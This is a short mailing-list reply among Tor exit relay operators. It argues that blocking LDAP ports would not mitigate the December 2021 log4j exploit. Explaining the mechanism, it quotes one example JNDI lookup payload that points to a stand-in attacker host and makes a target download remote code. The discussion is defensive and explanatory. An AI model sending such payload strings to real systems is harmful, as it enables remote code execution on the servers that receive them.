Re: [tor-relays] Mitigating log4j exploits

[Felix Eckhofer via tor-relays <tor-relays@xxxxxxxxxxxxxxxxxxxx>]

Hey,

Am 11.12.2021 13:51, schrieb Jens Kubieziel:
> attacks. One possibility is, in my opinion, rejecting connection over
> ports 389 and 636. What do you think? Should we as exit node operators
> block connections over those LDAP ports for some amount of time?

don't think this is going to help.

The exploit works like this: Send a special string that *references* an 
ldap server (most used right now, though other protocols are possible), 
such as "${jndi:ldap://attacker.example.com:port/a}";. The target then 
contacts the ldap server and essentially downloads the malicious code 
from there. You can include a custom port as shown and many attackers 
do. Most exploit attempts use http(s). Nothing we can block without 
packet inspection.


Best regards,
Felix
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